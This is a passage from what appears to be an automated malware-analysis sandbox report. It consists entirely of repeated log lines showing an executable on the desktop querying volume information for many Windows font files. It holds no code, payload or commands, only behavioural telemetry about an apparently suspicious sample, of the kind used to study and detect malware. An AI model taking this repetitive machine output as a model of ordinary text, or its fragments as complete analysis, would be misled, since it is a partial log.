            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
